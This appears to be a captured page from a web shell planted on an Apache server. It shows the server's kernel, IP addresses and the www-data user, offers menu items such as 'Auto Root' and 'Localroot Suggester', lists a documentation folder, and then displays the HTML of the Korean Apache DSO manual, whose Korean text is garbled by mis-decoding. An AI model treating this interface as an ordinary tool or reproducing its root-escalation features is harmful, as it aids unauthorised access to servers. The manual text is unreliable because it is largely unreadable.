Linux cesa-www-main 6.1.0-49-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
Apache/2.4.68 (Debian)
Server IP : 10.218.0.2 & Your IP : 216.73.216.28
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
share /
doc /
apache2-doc /
manual /
ko /
Delete
Unzip
Name
Size
Permission
Date
Action
developer
[ DIR ]
drwxr-xr-x
2026-07-12 06:23
faq
[ DIR ]
drwxr-xr-x
2026-07-12 06:23
howto
[ DIR ]
drwxr-xr-x
2026-07-12 06:23
misc
[ DIR ]
drwxr-xr-x
2026-07-12 06:23
mod
[ DIR ]
drwxr-xr-x
2026-07-12 06:23
platform
[ DIR ]
drwxr-xr-x
2026-07-12 06:23
programs
[ DIR ]
drwxr-xr-x
2026-07-12 06:23
rewrite
[ DIR ]
drwxr-xr-x
2026-07-12 06:23
ssl
[ DIR ]
drwxr-xr-x
2026-07-12 06:23
vhosts
[ DIR ]
drwxr-xr-x
2026-07-12 06:23
bind.html
11.01
KB
-rw-r--r--
2026-06-12 05:08
caching.html
50.33
KB
-rw-r--r--
2026-06-12 05:08
configuring.html
13.61
KB
-rw-r--r--
2026-06-12 05:08
content-negotiation.html
28.23
KB
-rw-r--r--
2026-06-12 05:08
custom-error.html
11.27
KB
-rw-r--r--
2026-06-12 05:08
dns-caveats.html
13.3
KB
-rw-r--r--
2026-06-12 05:08
dso.html
16.42
KB
-rw-r--r--
2026-06-12 05:08
env.html
21.29
KB
-rw-r--r--
2026-06-12 05:08
expr.html
37.21
KB
-rw-r--r--
2026-06-12 05:08
filter.html
8.56
KB
-rw-r--r--
2026-06-12 05:08
getting-started.html
15.2
KB
-rw-r--r--
2026-06-12 05:08
glossary.html
20.94
KB
-rw-r--r--
2026-06-12 05:08
handler.html
11.09
KB
-rw-r--r--
2026-06-12 05:08
index.html
9.82
KB
-rw-r--r--
2026-06-12 05:08
install.html
20.24
KB
-rw-r--r--
2026-06-12 05:08
invoking.html
11.02
KB
-rw-r--r--
2026-06-12 05:08
license.html
15.36
KB
-rw-r--r--
2026-06-12 05:08
logs.html
28.8
KB
-rw-r--r--
2026-06-12 05:08
mpm.html
9.58
KB
-rw-r--r--
2026-06-12 05:08
new_features_2_0.html
14.3
KB
-rw-r--r--
2026-06-12 05:08
new_features_2_2.html
9.24
KB
-rw-r--r--
2026-06-12 05:08
new_features_2_4.html
32.98
KB
-rw-r--r--
2026-06-12 05:08
sections.html
24.81
KB
-rw-r--r--
2026-06-12 05:08
server-wide.html
10.2
KB
-rw-r--r--
2026-06-12 05:08
sitemap.html
23.03
KB
-rw-r--r--
2026-06-12 05:08
socache.html
9.48
KB
-rw-r--r--
2026-06-12 05:08
stopping.html
14.59
KB
-rw-r--r--
2026-06-12 05:08
suexec.html
24.03
KB
-rw-r--r--
2026-06-12 05:08
upgrading.html
35.18
KB
-rw-r--r--
2026-06-12 05:08
urlmapping.html
19.33
KB
-rw-r--r--
2026-06-12 05:08
Save
Rename
<!DOCTYPE html SYSTEM "about:legacy-compat"> <html lang="ko"><head><META http-equiv="Content-Type" content="text/html; charset=EUC-KR"> <meta content="width=device-width, initial-scale=1" name="viewport"> <!-- XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX This file is generated from xml source: DO NOT EDIT XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX --> <title>����������ü (DSO) ���� - Apache HTTP Server Version 2.4</title> <link href="../style/css/manual.css" rel="stylesheet" media="all" type="text/css" title="Main stylesheet"> <link href="../style/css/manual-loose-100pc.css" rel="alternate stylesheet" media="all" type="text/css" title="No Sidebar - Default font size"> <link href="../style/css/manual-print.css" rel="stylesheet" media="print" type="text/css"><link rel="stylesheet" type="text/css" href="../style/css/prettify.css"> <script src="../style/scripts/prettify.min.js"> </script> <link href="../images/favicon.png" rel="shortcut icon"></head> <body id="manual-page"><div id="page-header"> <p class="menu"><a href="./mod/index.html">���</a> | <a href="./mod/quickreference.html">���þ��</a> | <a href="https://cwiki.apache.org/confluence/display/httpd/FAQ">FAQ</a> | <a href="./glossary.html">���</a> | <a href="./sitemap.html">���Ʈ��</a> | <a href="https://bz.apache.org/bugzilla/enter_bug.cgi?product=Apache%20httpd-2">Report a bug</a></p> <p class="apache">Apache HTTP Server Version 2.4</p> <img alt="" src="../images/feather.png"></div> <div class="up"><a href="./index.html"><img title="<-" alt="<-" src="../images/left.gif"></a></div> <div id="path"> <a href="https://www.apache.org/">Apache</a> > <a href="https://httpd.apache.org/">HTTP Server</a> > <a href="https://httpd.apache.org/docs/">Documentation</a> > <a href="./index.html">Version 2.4</a></div><div id="page-content"><div id="preamble"><h1>����������ü (DSO) ����</h1> <button aria-label="Toggle language list" class="lang-toggle"><svg xmlns="http://www.w3.org/2000/svg" stroke-width="2" stroke="currentColor" fill="none" viewBox="0 0 24 24" height="16" width="16"><circle r="10" cy="12" cx="12"/><line y2="12" x2="22" y1="12" x1="2"/><path d="M12 2a15.3 15.3 0 0 1 4 10 15.3 15.3 0 0 1-4 10 15.3 15.3 0 0 1-4-10 15.3 15.3 0 0 1 4-10z"/></svg></button> <div class="toplang"> <p><span>������ ���: </span><a href="../en/dso.html" hreflang="en" rel="alternate" title="English"> en </a> | <a href="../fr/dso.html" hreflang="fr" rel="alternate" title="Français"> fr </a> | <a href="../ja/dso.html" hreflang="ja" rel="alternate" title="Japanese"> ja </a> | <a href="../ko/dso.html" title="Korean"> ko </a> | <a href="../tr/dso.html" hreflang="tr" rel="alternate" title="Türkçe"> tr </a></p> </div> <div class="outofdate">�� ������ �ֽ��� ������ �ƴմϴ�. �ֱٿ� ����� ���� ���� ������ ����ϼ���.</div> <p>����ġ �������� �����ڰ� ���� �����Ͽ� ������ ����� ���� ���� �� �ִ� ���ȭ�� ��α��̴�. ������ �����Ҷ� <code>httpd</code> ������Ͽ� �������� ��� ������� �� �ִ�. �ƴϸ� ��� <code>httpd</code> ������ϰ� �и��Ͽ� ����������ü(Dynamic Shared Objects, DSO)�� ������� �� �ִ�. DSO ��� ������ ������Ҷ� ������ϰų�, Apache Extension Tool (<a href="programs/apxs.html">apxs</a>)�� ����Ͽ� ���߿� ������Ͽ� �߰��� �� �ִ�.</p> <p>�� ������ DSO ��� ����� ��� �̷�� �����Ѵ�.</p> </div> <div id="quickview"><ul id="toc"><li><img alt="" src="../images/down.gif"> <a href="#implementation">���</a></li> <li><img alt="" src="../images/down.gif"> <a href="#usage">��� ���</a></li> <li><img alt="" src="../images/down.gif"> <a href="#background">�����</a></li> <li><img alt="" src="../images/down.gif"> <a href="#advantages">����</a></li> </ul></div> <div class="top"><a href="#page-header"><img alt="top" src="../images/up.gif"></a></div> <div class="section"> <h2 id="implementation">��� <a title="Permanent link" href="#implementation" class="permalink">¶</a></h2> <table class="related"><tr><th>���õ� ���</th><th>���õ� ���þ�</th></tr><tr><td><ul><li><code class="module"><a href="./mod/mod_so.html">mod_so</a></code></li></ul></td><td><ul><li><code class="directive"><a href="./mod/mod_so.html#loadmodule">LoadModule</a></code></li></ul></td></tr></table> <p>����ġ �ٽɿ� �������� ������ؾ��� <code class="module"><a href="./mod/mod_so.c.html">mod_so.c</a></code>��� ��� ����ġ ��� �о��̱��� DSO�� �����Ѵ�. �� ��� <code class="module"><a href="./mod/core.html">core</a></code>�� �����ϰ� DSO�� �� �� ���� ������ ���̴�. ����� �ٸ� ��� ����ġ ��� <a href="install.html">��ġ ����</a>���� ������ <code>configure</code>�� <code>--enable-<em>module</em>=shared</code> �ɼ�� ����Ͽ� DSO�� ������� �� �ִ�. ��� <code>mod_foo.so</code>�� ���� DSO�� ��������� <code>apache2.conf</code> ��Ͽ� <code class="module"><a href="./mod/mod_so.html">mod_so</a></code>�� <code class="directive"><a href="./mod/mod_so.html#loadmodule">LoadModule</a></code> ��ɾ ����Ͽ� ���� ��۽� Ȥ�� ���۽� �� ��� �о��� �� �ִ�.</p> <p>����ġ ���(Ư� ����ڰ� ���� ���)�� ����� DSO ���� ���� ������� <a href="programs/apxs.html">apxs</a> (<em>APache eXtenSion</em>)��� ���ο� ���� ��α��� �ִ�. �� ��α��� ����ġ �ҽ� Ʈ�� <em>�ۿ���</em> DSO�� ����� ��� ������Ҷ� ����Ѵ�. ���� ����. ����ġ�� ��ġ�Ҷ� <code>configure</code>�� <code>make install</code>�� ����ġ C ������ ��ġ�ϰ�, DSO ���� ������ϱ��� �÷�� Ư���� ����Ϸ� �ɼǰ� ��Ŀ �ɼ�� <code>apxs</code> ��α��� ����Ѵ�. ���� <code>apxs</code>�� ����ϴ� ���ڴ� ����ġ ����� �ҽ� Ʈ������, �� DSO ������ ���� �÷�� Ư���� ����Ϸ� �ɼǿ� ��Ŀ �ɼǿ� �Ű� �����ʰ� �ڽ�� ����ġ ��� �ҽ��� ������� �� �ִ�.</p> </div><div class="top"><a href="#page-header"><img alt="top" src="../images/up.gif"></a></div> <div class="section"> <h2 id="usage">��� ��� <a title="Permanent link" href="#usage" class="permalink">¶</a></h2> <p>Apache 2.2�� DSO ��ɿ� ���� ª�� ������ ���̴�:</p> <ol> <li> <em>������� �ִ�</em> ����ġ ��� ������ϰ� ��ġ�ϴ� ���. ���� ��� <code>mod_foo.c</code>�� DSO <code>mod_foo.so</code>��: <div class="example"><p><code> $ ./configure --prefix=/path/to/install --enable-foo=shared<br> $ make install </code></p></div> </li> <li> <em>����ڰ� ����</em> ����ġ ��� ������ϰ� ��ġ�ϴ� ���. ���� ��� <code>mod_foo.c</code>�� DSO <code>mod_foo.so</code>��: <div class="example"><p><code> $ ./configure --add-module=module_type:/path/to/3rdparty/mod_foo.c --enable-foo=shared<br> $ make install </code></p></div> </li> <li> ���� ��� <em>���߿� ����ϱ���</em> ����ġ�� �����ϴ� ���: <div class="example"><p><code> $ ./configure --enable-so<br> $ make install </code></p></div> </li> <li> <em>����ڰ� ����</em> ����ġ ��� ������ϰ� ��ġ�ϴ� ���. <a href="programs/apxs.html">apxs</a>�� ����Ͽ� ����ġ �ҽ� Ʈ�� <em>�ۿ���</em> <code>mod_foo.c</code>�� DSO <code>mod_foo.so</code>��: <div class="example"><p><code> $ cd /path/to/3rdparty<br> $ apxs -c mod_foo.c<br> $ apxs -i -a -n foo mod_foo.la </code></p></div> </li> </ol> <p>��� ��� �ϴ� ���� ���� ����ϵǸ�, <code>apache2.conf</code>�� <code class="directive"><a href="./mod/mod_so.html#loadmodule">LoadModule</a></code> ���þ ����Ͽ� ����ġ�� �� ��� �о��̰� �����.</p> </div><div class="top"><a href="#page-header"><img alt="top" src="../images/up.gif"></a></div> <div class="section"> <h2 id="background">����� <a title="Permanent link" href="#background" class="permalink">¶</a></h2> <p>����� ���н������� <em>����������ü</em> (DSO)�� ���� ��ŷ/�ε�(dynamic linking/loading)�̶�� �Ͽ�, Ư���� ���� �����ڵ� ������ ����� ������ ������α��� �ּҰ����� �о��̴� ��� ���� �ִ�.</p> <p>���� �ΰ��� ������ �о��� �� �ִ�. �ϳ��� ������α��� ����Ҷ� <code>ld.so</code>��� �ý��� ��α��� �ڵ����� �о��̴� ����, �ٸ� �ϳ��� ������ ��α��� <code>dlopen()/dlsym()</code> �ý���ȣ��� ���н� �δ�(loader)�� �ý��� ������̽��� ����Ͽ� ���� �о��̴� ����.</p> <p>ù��° ��� DSO�� ���� <em>������̺귯��(shared libraries)</em> Ȥ�� <em>DSO ��̺귯��</em>��� �θ���, ���� <code>libfoo.so</code>�� <code>libfoo.so.1.2</code> ���� �̸��� ������. �̵� �ý��� ���丮(���� <code>/usr/lib</code>)�� �ְ�, ����Ͻ� ��Ŀ ��ɾ <code>-lfoo</code>�� �־� ������ϰ� �����Ѵ�. �̷��� ���� ��� ��̺귯���� ������Ͽ� ����ǿ���, ��α��� ����Ҷ� ��Ŀ �ɼ� <code>-R</code>�� ���� ������ ���, ȯ�溯�� <code>LD_LIBRARY_PATH</code>�� ������ ��� Ȥ�� <code>/usr/lib</code>���� ���н� �δ��� <code>libfoo.so</code>�� ã�� �� �ִ�. ���� ������α��� (��� ��ã��(unresolved)) �ɺ�(symbol)�� DSO���� ã�Եȴ�.</p> <p>DSO�� ���� ������α��� �ɺ��� ã���ʱ� ������ (DSO�� ���밡���� �Ϲ���� �ڵ� ��̺귯���̹Ƿ�) ã��� ���⼭ ������. ���н� �δ��� �ɺ� ã�⸦ ���� ����ϹǷ� ������α��� ���� DSO���� �ɺ��� ã�� �ʿ䰡 ����. (��� <code>ld.so</code>�� �θ��� �ڵ�� ������ �ƴ� ��� ������α��� ��ũ�Ǵ� ����� ����ڵ�� �Ϻδ�.) ����� ��̺귯�� �ڵ带 �������� �о��̴� ���� ��Ȯ�ϴ�. ��̺귯�� �ڵ尡 ��� ��α��� �ߺ��ؼ� ����Ǵ� ��� <code>libc.so</code>�� ���� �ý��� ��̺귯���� �ѹ��� ����DZ� ������ ��ũ ������ ����ȴ�.</p> <p>�ι�° ��� DSO�� ���� <em>������ü(shared objects)</em> Ȥ�� <em>DSO ���</em>�̶�� �θ���, (��Ģ�� �̸��� <code>foo.so</code>�����) ���� Ȯ��ڴ� ����Ӵ�. �� ��ϵ� ���� ��α� ��ü ���丮�� ��ġ�ϰ� ������α��� �ڵ����� ������ �ʴ´�. ��� ������α��� ����� <code>dlopen()</code>�� ����Ͽ� DSO�� �ּҰ����� ���� �о�鿩�� �Ѵ�. �̶� ������α��� DSO���� �ɺ��� ã�� �ʴ´�. ��� �տ��� �� ���н� �δ��� �ڵ����� ������ϰ� �������� �̹� �о��� DSO ��̺귯��(Ư� �� �����ϴ� <code>libc.so</code>�� ��� �ɺ�)���� DSO�� (��� ��ã��) �ɺ��� ã�´�. ���� DSO�� ��ġ ó������ ������α��� �������� ��ũ�ȰͰ� ���� �������� �ɺ��� �˰Եȴ�.</p> <p>DSO�� API�� �̿��ϱ��ؼ� ���������� ������α��� <code>dlsym()</code>���� DSO���� Ư�� �ɺ��� ã�Ƽ�, ����� ����ϱ��� ����ġ(dispatch) ǥ <em>��</em>�� �����Ѵ�. �ٸ� ���� ������α��� ����� ��� �Ǻ��� ���� ã�ƾ��Ѵ�. �̷� ������ ���� ��α��� �Ϻθ� ��α��� �ʿ��Ҷ��� �о���� �ʾƵ� (���� �� ������� �ʰ�) �ȴٴ� ���̴�. �⺻ ��α��� ���� Ȯ���ϱ��� �ʿ��� ��� �� �κ�� �������� �о��� �� �ִ�.</p> <p>�̷� DSO ������ �ڿ������� �������, �ּ��� ���� ���� �Ѱ����ִ�. ��α��� Ȯ���ϱ��� DSO�� ����Ҷ� DSO�� ������α��� �ɺ��� ã�� ��̴�. ��? DSO�� ������α��� �ɺ��� "������ ã�� ��"�� (��̺귯���� �ڽ�� ����ϴ� ��α��� ���� �ٴ�) ��̺귯�� ���迡 ���ϸ�, ��� �÷������ ��������ʰ� ǥ��ȭ����� �ʾұ� �����̴�. ����� �������� �����ɺ�(global symbol)�� ���� �ͽ��Ʈ(export)��� �ʱ���� DSO�� ����� �� ����. DSO�� ����Ͽ� ����� ��α��� Ȯ���Ϸ��� ��Ŀ���� ��� �����ɺ��� �ͽ��Ʈ�ϵ��� �����ϴ� ��� �ֵ� �ذ�å�̴�.</p> <p>������̺귯���� DSO ���� ����Ģ��� ������̱���� �ü���� �����ϴ� ��� ��� ������ ��̺귯���� ����Ѵ�. �ݴ�� ���� ��α��� ��α��� Ȯ���ϱ��� ������ü�� ������ �ʴ´�.</p> <p>1998�� ����� ����� ���� Ȯ���ϱ��� DSO ������ ����� ���Ʈ���� ��Ű���� (XS ������ DynaLoader ��� �����) Perl 5, Netscape Server <em>��</em>���� �幰����. ����ġ�� �̹� ���� Ȯ���ϱ��� ��� ���� ����߰� �ܺ� ��� ����ġ �ٽɱ�ɿ� �����ϱ��� ��������� ����ġ���� �̿��� ���ٹ��� ����߱���� 1.3 �������� �� �뿭�� �շ��ߴ�. ���� ����ġ�� ����� ��� �о��̴µ� DSO�� ����ϵ��� ���������.</p> </div><div class="top"><a href="#page-header"><img alt="top" src="../images/up.gif"></a></div> <div class="section"> <h2 id="advantages">���� <a title="Permanent link" href="#advantages" class="permalink">¶</a></h2> <p>�տ��� ���� DSO�� ����ϸ� ����� ���� ���� �ִ�:</p> <ul> <li>��� ���� ��μ����� ����Ͻ� <code>configure</code> �ɼǴ�� <code>apache2.conf</code>�� <code class="directive"><a href="./mod/mod_so.html#loadmodule">LoadModule</a></code>�� ����Ͽ� ����߿� ���յǹǷ� ���� ��Ű�� ����� �� �����ϴ�. ���� ��� �ѹ��� ����ġ ��ġ������ �ٸ� ����(ǥ�� ������ SSL ����, �ּ�ȭ ������ ����߰� ���� [mod_perl, PHP3] <em>��</em>)�� ������ �� �ִ�.</li> <li>������ ��ġ�Ŀ��� ����ڰ� ���� ��� ����Ͽ� ���� Ȯ���� �� �ִ�. �ּ��� ���� ��Ű�� ����ڴ� ����ġ �ٽ� ��Ű���� ������ PHP3, mod_perl, mod_fastcgi <em>��</em>�� �߰� ��Ű���� ���� �� �־ ū �̵�̴�.</li> <li>DSO�� <code>apxs</code>�� ������ ����ġ �ҽ� Ʈ�� �ۿ��� �۾��ϰ� <code>apxs -i</code>�� <code>apache2ctl restart</code> ��ɾ���� ��� ������ ���� �� ������ ������ ����ġ ������ �ݿ��� �� �־ �� ���� ����ġ ��� ������ �� �ִ�.</li> </ul> <p>DSO�� ����� ���� ����� �ִ�:</p> <ul> <li>��α��� �ּҰ����� �ڵ带 �������� �о��̴� ���� ��������ʴ� �ü���� �ֱ� ������ ��� �÷������ DSO�� ����� �� ����.</li> <li>���н� �δ��� �ɺ��� ã�ƾ��ϱ� ������ ���� ���� �� 20% ���� �ʾ���.</li> <li>������ ��ġ�����ڵ�(position independent code, PIC) ������ ����ּ����(absolute addressing)���� ���� ���ּ����(relative addressing)�� ������ ���� ���� �ʿ��ϹǷ� � �÷������ ����� �� 5% ���� �ʴ�.</li> <li>DSO ��� �ٸ� DSO��� ��̺귯��(<code>ld -lfoo</code>)�� ��ũ�� �� ���� �÷���� �ֱ���� (���� ��� ELF��� �÷���� ��������� a.out��� �÷���� ���� �� ���� ������� �ʴ´�) ��� ������ �� DSO�� ����� �� ����. �ٸ� ���� DSO ��Ϸ� ������ϴ� ��� ����ġ �ٽɰ� ����ġ �ٽ�� ����ϴ� C ��̺귯��(<code>libc</code>)�� �ٸ� ����/���� ��̺귯��, ��ġ�����ڵ带 ��� �ִ� ���� ��̺귯�� ��ī�̺�(<code>libfoo.a</code>)�� �ɺ����� ����� �� �ִ�. �ٸ� �ڵ带 ����Ϸ��� ����ġ �ٽ�� �װ�� ����ϴ���, <code>dlopen()</code>���� ���� �ڵ带 �о�鿩�� �Ѵ�.</li> </ul> </div></div> <div class="bottomlang"> <p><span>������ ���: </span><a href="../en/dso.html" hreflang="en" rel="alternate" title="English"> en </a> | <a href="../fr/dso.html" hreflang="fr" rel="alternate" title="Français"> fr </a> | <a href="../ja/dso.html" hreflang="ja" rel="alternate" title="Japanese"> ja </a> | <a href="../ko/dso.html" title="Korean"> ko </a> | <a href="../tr/dso.html" hreflang="tr" rel="alternate" title="Türkçe"> tr </a></p> </div><div id="footer"> <p class="apache">Copyright 2026 The Apache Software Foundation.<br>Licensed under the <a href="https://www.apache.org/licenses/LICENSE-2.0">Apache License, Version 2.0</a>.</p> <p class="menu"><a href="./mod/index.html">���</a> | <a href="./mod/quickreference.html">���þ��</a> | <a href="https://cwiki.apache.org/confluence/display/httpd/FAQ">FAQ</a> | <a href="./glossary.html">���</a> | <a href="./sitemap.html">���Ʈ��</a> | <a href="https://bz.apache.org/bugzilla/enter_bug.cgi?product=Apache%20httpd-2">Report a bug</a></p></div><script><!--//--><![CDATA[//><!-- if (typeof(prettyPrint) !== 'undefined') { prettyPrint(); } var langToggle = document.querySelector('.lang-toggle'); var topLang = document.querySelector('.toplang'); if (langToggle && topLang) { langToggle.addEventListener('click', function() { topLang.classList.toggle('open'); }); } var qv = document.getElementById('quickview'); if (qv) { document.body.appendChild(qv); var qvBtn = document.createElement('button'); qvBtn.className = 'qv-toggle'; qvBtn.setAttribute('aria-label', 'Toggle page navigation'); qvBtn.innerHTML = '☰'; document.body.appendChild(qvBtn); qvBtn.addEventListener('click', function() { var isOpen = qv.classList.toggle('open'); if (isOpen) { qv.style.top = window.scrollY + 10 + 'px'; } }); window.addEventListener('scroll', function() { qv.classList.remove('open'); }); } //--><!]]></script> </body></html>